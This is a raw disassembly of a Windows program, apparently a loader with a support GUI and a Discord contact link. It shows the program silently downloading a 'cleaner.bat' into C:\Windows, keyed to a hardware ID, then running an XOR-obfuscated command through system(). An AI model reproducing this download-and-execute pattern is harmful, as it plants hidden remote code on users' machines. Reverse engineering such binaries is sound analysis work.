mov qword [rsp + 0x30], 0x19
lea rax, str.downloadcleaner.php_hwid
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rcx
lea rcx, [rbp + 0x200]
call fcn.140067ad0
nop
cmp qword [0x14013e4b0], 0xf
cmova r14, qword [0x14013e498]
mov r8, qword [0x14013e4a8]
mov rdx, r14
lea rcx, [rbp + 0x200]
call fcn.140064a90
movups xmm7, xmmword [rax]
movups xmmword [rbp + 0x240], xmm7
movups xmm6, xmmword [rax + 0x10]
movups xmmword [rbp + 0x250], xmm6
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
mov rdx, qword [rbp + 0x218]
cmp rdx, 0xf
jbe 0x14005e91e
inc rdx
mov rcx, qword [rbp + 0x200]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14005e919
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14005e919
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14007a770
movdqa xmm0, xmmword [0x1400ac7f0]
movdqu xmmword [rbp + 0x210], xmm0
mov byte [rbp + 0x200], 0
xorps xmm0, xmm0
movups xmmword [rbp + 0x1e0], xmm0
mov qword [rbp + 0x1f0], rsi
mov qword [rbp + 0x1f8], rsi
lea r15, [rbp + 0x240]
movq r14, xmm7
movdqa xmm0, xmm6
psrldq xmm0, 8
movq r13, xmm0
cmp r13, 0xf
cmova r15, r14
movq rdi, xmm6
movabs rax, 0x7fffffffffffffff
cmp rdi, rax
ja 0x14005f4bd
mov qword [rbp + 0x1f8], 0xf
cmp rdi, 0xf
ja 0x14005e9af
mov qword [rbp + 0x1f0], rdi
movups xmm0, xmmword [r15]
movups xmmword [rbp + 0x1e0], xmm0
jmp 0x14005ea4c
mov rbx, rdi
or rbx, 0xf
cmp rbx, rax
jbe 0x14005e9ea
mov rbx, rax
movabs rax, 0x8000000000000000
add rax, 0x27
mov rcx, rax
call fcn.14007aa84
mov rcx, rax
test rax, rax
je 0x14005ea12
add rax, 0x27
and rax, 0xffffffffffffffe0
mov qword [rax - 8], rcx
jmp 0x14005ea28
mov eax, 0x16
cmp rbx, rax
cmovb rbx, rax
lea rcx, [rbx + 1]
cmp rcx, 0x1000
jb 0x14005ea19
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x14005f4c3
jmp 0x14005e9cc
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
test rcx, rcx
je 0x14005ea25
call fcn.14007aa84
jmp 0x14005ea28
mov rax, rsi
mov qword [rbp + 0x1e0], rax
mov qword [rbp + 0x1f0], rdi
mov qword [rbp + 0x1f8], rbx
lea r8, [rdi + 1]
mov rdx, r15
mov rcx, rax
call sub.VCRUNTIME140.dll_memcpy
lea rdx, [rbp + 0x1e0]
lea rcx, [rbp + 0x260]
call fcn.140059b70
nop
lea r8, [rbp + 0x260]
lea rcx, [rbp + 0x280]
call fcn.140065e00
nop
mov r8d, 0x23
lea rdx, str.__o_C:Windowscleaner.bat___silent
mov rcx, rax
call fcn.140064a90
xorps xmm0, xmm0
movups xmmword [rsp + 0x50], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x60], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x50], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x60], xmm1
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
lea rcx, [rsp + 0x50]
cmp qword [rsp + 0x68], 0xf
cmova rcx, qword [rsp + 0x50]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov rdx, qword [rsp + 0x68]
cmp rdx, 0xf
jbe 0x14005eb11
inc rdx
mov rcx, qword [rsp + 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14005eb0c
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14005eb0c
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14007a770
movdqa xmm0, xmmword [0x1400ac7f0]
movdqu xmmword [rsp + 0x60], xmm0
mov byte [rsp + 0x50], 0
mov rdx, qword [rbp + 0x298]
cmp rdx, 0xf
jbe 0x14005eb68
inc rdx
mov rcx, qword [rbp + 0x280]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14005eb63
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14005eb63
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14007a770
movups xmm0, xmmword [0x1400ac168]
movups xmmword [rsp + 0x50], xmm0
mov eax, dword [0x1400ac178]
mov dword [rsp + 0x60], eax
movzx eax, word [0x1400ac17c]
mov word [rsp + 0x64], ax
movzx eax, byte [0x1400ac17e]
mov byte [rsp + 0x66], al
cmp dword [0x1400b9008], 2
jl 0x14005ecea
movdqa xmm5, xmmword [0x1400ac860]
movdqa xmm4, xmmword [0x1400aca60]
movdqa xmm6, xmmword [str.8888]
movdqa xmm0, xmmword [str.8888888888888888]
movdqa xmmword [rbp + 0x1e0], xmm0
lea rcx, [rsp + 0x54]
mov edx, dword [rbp + 0x1e0]
nop word [rax + rax]
movd xmm2, esi
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400ac8d0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [rsi + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400ac8d0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add esi, 8
mov eax, esi
lea rcx, [rcx + 8]
cmp esi, 0x10
jl 0x14005ebe0
cmp eax, 0x17
jge 0x14005ed31
movsxd rax, esi
lea r8, [rsp + 0x50]
add r8, rax
nop word [rax + rax]
mov eax, 0x92492493
imul esi
add edx, esi
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul ecx, eax, 0x38
add cl, sil
xor byte [r8], cl
inc esi
lea r8, [r8 + 1]
cmp esi, 0x17
jl 0x14005ed00
lea rcx, [rsp + 0x50]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
nop
mov rdx, qword [rbp + 0x278]
cmp rdx, 0xf
jbe 0x14005ed82
inc rdx
mov rcx, qword [rbp + 0x260]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14005ed7c
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14005ed7c
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14007a770
nop
cmp r13, 0xf
jbe 0x14005edbc
lea rdx, [r13 + 1]
mov rax, r14
cmp rdx, 0x1000
jb 0x14005edb4
add rdx, 0x27
mov r14, qword [r14 - 8]
sub rax, r14
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14005edb4
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
mov rcx, r14
call fcn.14007a770
movabs rdi, 0x7fffffffffffffff
mov rcx, qword [0x14013dd60]
movsxd rax, dword [rcx + 0x1e80]
lea rdx, [rax + rax*2]
mov r8, qword [rcx + 0x1e88]
movsxd rax, dword [r8 + rdx*4 - 0xc]
lea r10, [rax + rax*2]
mov r9d, dword [r12 + r10*4 + 0x7f278]
cmp dword [r12 + r10*4 + 0x7f270], 8
jne 0x14005ee36
mov eax, dword [r12 + r10*4 + 0x7f274]
cmp eax, 1
jne 0x14005ee17
mov eax, dword [r8 + rdx*4 - 8]
mov dword [r9 + rcx + 0x1638], eax
jmp 0x14005ee36
cmp eax, 2
jne 0x14005ee36
mov eax, dword [r8 + rdx*4 - 8]
mov dword [r9 + rcx + 0x1638], eax
mov eax, dword [r8 + rdx*4 - 4]
mov dword [r9 + rcx + 0x163c], eax
dec dword [rcx + 0x1e80]
call fcn.140020e60
mov rbx, qword [0x14013dd60]
mov rax, qword [rbx + 0x1d18]
mov byte [rax + 0xd1], 1
mov rax, qword [rbx + 0x1d18]
movss xmm0, dword [rax + 0x50]
subss xmm0, dword [rax + 0x9c]
addss xmm0, xmm10
movss xmm2, dword [rax + 0x54]
subss xmm2, dword [rax + 0xa0]
addss xmm2, dword [0x1400ac71c]
movss dword [rax + 0x118], xmm0
movss dword [rax + 0x11c], xmm2
movss xmm1, dword [rax + 0x130]
maxss xmm1, dword [rax + 0x118]
movss xmm0, dword [rax + 0x134]
maxss xmm0, xmm2
movss dword [rax + 0x130], xmm1
movss dword [rax + 0x134], xmm0
mov dword [rsp + 0x50], 0x443a4000
mov dword [rsp + 0x54], 0x431b0000
mov rax, qword [rbx + 0x1d18]
mov byte [rax + 0xd1], 1
mov r8, qword [rbx + 0x1d18]
movsxd rax, dword [r8 + 0x108]
mov r8, qword [r8 + 0x110]
mov r8d, dword [r8 + rax*4 - 4]
xor edx, edx
lea rcx, str.support
call fcn.1400190c0
cmp dword [rbx + 0x1d6c], eax
jne 0x14005ef14
mov dword [rbx + 0x1d70], eax
cmp dword [rbx + 0x1da8], eax
jne 0x14005ef23
mov byte [rbx + 0x1dac], 1
mov dword [rsp + 0x20], 8
lea r8, [rsp + 0x50]
mov edx, eax
lea rcx, str.support
call fcn.140020c40
mov rcx, qword [0x14013dd80]
call fcn.140027300
mov rcx, qword [0x14013dd60]
mov rax, qword [rcx + 0x1d18]
movss xmm0, dword [rax + 0x118]
subss xmm0, dword [rax + 0x50]
addss xmm0, dword [rax + 0x9c]
addss xmm0, xmm12
mov byte [rax + 0xd1], 1
mov rax, qword [rcx + 0x1d18]
movss xmm1, dword [rax + 0x50]
subss xmm1, dword [rax + 0x9c]
addss xmm1, xmm0
movss dword [rax + 0x118], xmm1
movss xmm0, dword [rax + 0x130]
maxss xmm0, xmm1
movss dword [rax + 0x130], xmm0
mov rax, qword [rcx + 0x1d18]
movss xmm2, dword [rax + 0x11c]
subss xmm2, dword [rax + 0x54]
addss xmm2, dword [rax + 0xa0]
addss xmm2, xmm11
mov byte [rax + 0xd1], 1
mov rax, qword [rcx + 0x1d18]
movss xmm1, dword [rax + 0x54]
subss xmm1, dword [rax + 0xa0]
addss xmm1, xmm2
movss dword [rax + 0x11c], xmm1
movss xmm0, dword [rax + 0x134]
maxss xmm0, xmm1
movss dword [rax + 0x134], xmm0
movaps xmm1, xmmword [0x1400aca30]
movups xmmword [rbp + 0x1e0], xmm1
lea rdx, str.Support
lea rcx, [rbp + 0x1e0]
call fcn.14004fd50
call fcn.1400273a0
mov rcx, qword [0x14013dd88]
call fcn.140027300
mov rcx, qword [0x14013dd60]
mov rax, qword [rcx + 0x1d18]
movss xmm0, dword [rax + 0x118]
subss xmm0, dword [rax + 0x50]
addss xmm0, dword [rax + 0x9c]
addss xmm0, xmm12
mov byte [rax + 0xd1], 1
mov rax, qword [rcx + 0x1d18]
movss xmm1, dword [rax + 0x50]
subss xmm1, dword [rax + 0x9c]
addss xmm1, xmm0
movss dword [rax + 0x118], xmm1
movss xmm0, dword [rax + 0x130]
maxss xmm0, xmm1
movss dword [rax + 0x130], xmm0
mov rax, qword [rcx + 0x1d18]
movss xmm2, dword [rax + 0x11c]
subss xmm2, dword [rax + 0x54]
addss xmm2, dword [rax + 0xa0]
addss xmm2, xmm13
mov byte [rax + 0xd1], 1
mov rax, qword [rcx + 0x1d18]
movss xmm1, dword [rax + 0x54]
subss xmm1, dword [rax + 0xa0]
addss xmm1, xmm2
movss dword [rax + 0x11c], xmm1
movss xmm0, dword [rax + 0x134]
maxss xmm0, xmm1
movss dword [rax + 0x134], xmm0
movaps xmm1, xmmword [0x1400ac900]
movups xmmword [rbp + 0x1e0], xmm1
lea rdx, str.If_you_need_any_help_or_if_you_have_any_question_please_click_button_bellow
lea rcx, [rbp + 0x1e0]
call fcn.14004fd50
call fcn.1400273a0
mov rbx, qword [0x14013dd60]
mov rax, qword [rbx + 0x1d18]
movss xmm0, dword [rax + 0x118]
subss xmm0, dword [rax + 0x50]
addss xmm0, dword [rax + 0x9c]
addss xmm0, xmm12
mov byte [rax + 0xd1], 1
mov rax, qword [rbx + 0x1d18]
movss xmm1, dword [rax + 0x50]
subss xmm1, dword [rax + 0x9c]
addss xmm1, xmm0
movss dword [rax + 0x118], xmm1
movss xmm0, dword [rax + 0x130]
maxss xmm0, xmm1
movss dword [rax + 0x130], xmm0
mov rax, qword [rbx + 0x1d18]
movss xmm2, dword [rax + 0x11c]
subss xmm2, dword [rax + 0x54]
addss xmm2, dword [rax + 0xa0]
addss xmm2, xmm14
mov byte [rax + 0xd1], 1
mov rax, qword [rbx + 0x1d18]
movss xmm1, dword [rax + 0x54]
subss xmm1, dword [rax + 0xa0]
addss xmm1, xmm2
movss dword [rax + 0x11c], xmm1
movss xmm0, dword [rax + 0x134]
maxss xmm0, xmm1
movss dword [rax + 0x134], xmm0
mov dword [rsp + 0x50], 0xb
movss xmm0, dword [rbx + 0x1678]
movss dword [rsp + 0x54], xmm0
lea rcx, [rbx + 0x1e80]
lea rdx, [rsp + 0x50]
call fcn.140038f60
mov dword [rbx + 0x1678], 0x41200000
mov dword [rsp + 0x50], 0x43340000
mov dword [rsp + 0x54], 0x41f00000
lea rdx, [rsp + 0x50]
lea rcx, str.Contact
call fcn.140050710
test al, al
je 0x14005f242
lea rcx, str.start_https:__discord.gg_ghostesport
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov rcx, qword [0x14013dd60]
movsxd rax, dword [rcx + 0x1e80]
lea rdx, [rax + rax*2]
mov r8, qword [rcx + 0x1e88]
movsxd rax, dword [r8 + rdx*4 - 0xc]
lea r10, [rax + rax*2]
mov r9d, dword [r12 + r10*4 + 0x7f278]
cmp dword [r12 + r10*4 + 0x7f270], 8
jne 0x14005f2b2
mov eax, dword [r12 + r10*4 + 0x7f274]
cmp eax, 1
jne 0x14005f293
mov eax, dword [r8 + rdx*4 - 8]
mov dword [r9 + rcx + 0x1638], eax
jmp 0x14005f2b2
cmp eax, 2
jne 0x14005f2b2
mov eax, dword [r8 + rdx*4 - 8]
mov dword [r9 + rcx + 0x1638], eax
mov eax, dword [r8 + rdx*4 - 4]
mov dword [r9 + rcx + 0x163c], eax
dec dword [rcx + 0x1e80]
call fcn.140020e60
mov r8, qword [0x14013dd60]
mov rax, qword [r8 + 0x1d18]
mov byte [rax + 0xd1], 1
movaps xmm0, xmmword [0x1400ac9b0]
movups xmmword [rbp + 0x1e0], xmm0
mov rax, qword [r8 + 0x1d18]
movaps xmm1, xmm8
addss xmm1, dword [rax + 0x58]
movss dword [rsp + 0x50], xmm1
movaps xmm0, xmm9
subss xmm0, dword [0x1400ac74c]
movss dword [rsp + 0x54], xmm0
addss xmm8, xmm13
movss dword [rbp + 0x200], xmm8
subss xmm9, dword [0x1400ac750]
movss dword [rbp + 0x204], xmm9
lea rcx, [rbp + 0x1e0]
call fcn.140019590
mov r9d, eax
mov rcx, qword [r8 + 0x1d18]
movss xmm0, dword [0x1400ac5b0]
movss dword [rsp + 0x20], xmm0
lea r8, [rsp + 0x50]
lea rdx, [rbp + 0x200]
mov rcx, qword [rcx + 0x2f8]
call fcn.140044720
mov r8, qword [0x14013dd60]
mov rax, qword [r8 + 0x1d18]
movss xmm2, dword [rax + 0x118]
movss xmm3, dword [rax + 0x11c]
mov byte [rax + 0xd1], 1
movaps xmm0, xmmword [0x1400ac9b0]
movups xmmword [rbp + 0x1e0], xmm0
mov rax, qword [r8 + 0x1d18]
movaps xmm1, xmm2
addss xmm1, dword [rax + 0x58]
movss dword [rsp + 0x50], xmm1
movaps xmm0, xmm3
subss xmm0, dword [0x1400ac738]
movss dword [rsp + 0x54], xmm0
addss xmm2, xmm13
movss dword [rbp + 0x200], xmm2
subss xmm3, dword [0x1400ac73c]
movss dword [rbp + 0x204], xmm3
lea rcx, [rbp + 0x1e0]
call fcn.140019590
mov r9d, eax
mov rcx, qword [r8 + 0x1d18]
movss xmm0, dword [0x1400ac5b0]
movss dword [rsp + 0x20], xmm0
lea r8, [rsp + 0x50]
lea rdx, [rbp + 0x200]
mov rcx, qword [rcx + 0x2f8]
call fcn.140044720
call fcn.140026be0
lea rcx, [rsp + 0x50]
call fcn.140058510
movabs rcx, 0x7fffffffff67697f
mov rax, qword [rsp + 0x50]
cmp rax, rcx
jge 0x14005f446
add rax, 0x989680
mov qword [rsp + 0x50], rax
jmp 0x14005f44b
mov qword [rsp + 0x50], rdi
lea rcx, [rsp + 0x50]
call fcn.14006abc0
mov rcx, qword [rbp + 0x310]
xor rcx, rsp
call fcn.14007a320
lea r11, [rsp + 0x4c0]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
movaps xmm6, xmmword [r11 - 0x10]
movaps xmm7, xmmword [r11 - 0x20]
movaps xmm8, xmmword [r11 - 0x30]
movaps xmm9, xmmword [r11 - 0x40]
movaps xmm10, xmmword [r11 - 0x50]
movaps xmm11, xmmword [r11 - 0x60]
movaps xmm12, xmmword [r11 - 0x70]
movaps xmm13, xmmword [r11 - 0x80]
movaps xmm14, xmmword [r11 - 0x90]
movaps xmm15, xmmword [r11 - 0xa0]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
call fcn.140057b20
nop
call fcn.140057a80
nop
mov rcx, rax
call fcn.140068580
mov qword [rsp + 0x50], rax
lea r8, [rsp + 0x50]
lea rcx, [rbp - 0x70]
call fcn.1400737c0
nop
mov r8, rax
lea rcx, [rbp + 0x2a0]
call fcn.140073880
lea rdx, [0x1400b5c90]
lea rcx, [rbp + 0x2a0]
call sub.VCRUNTIME140.dll__CxxThrowException
nop
call fcn.140057b20
int3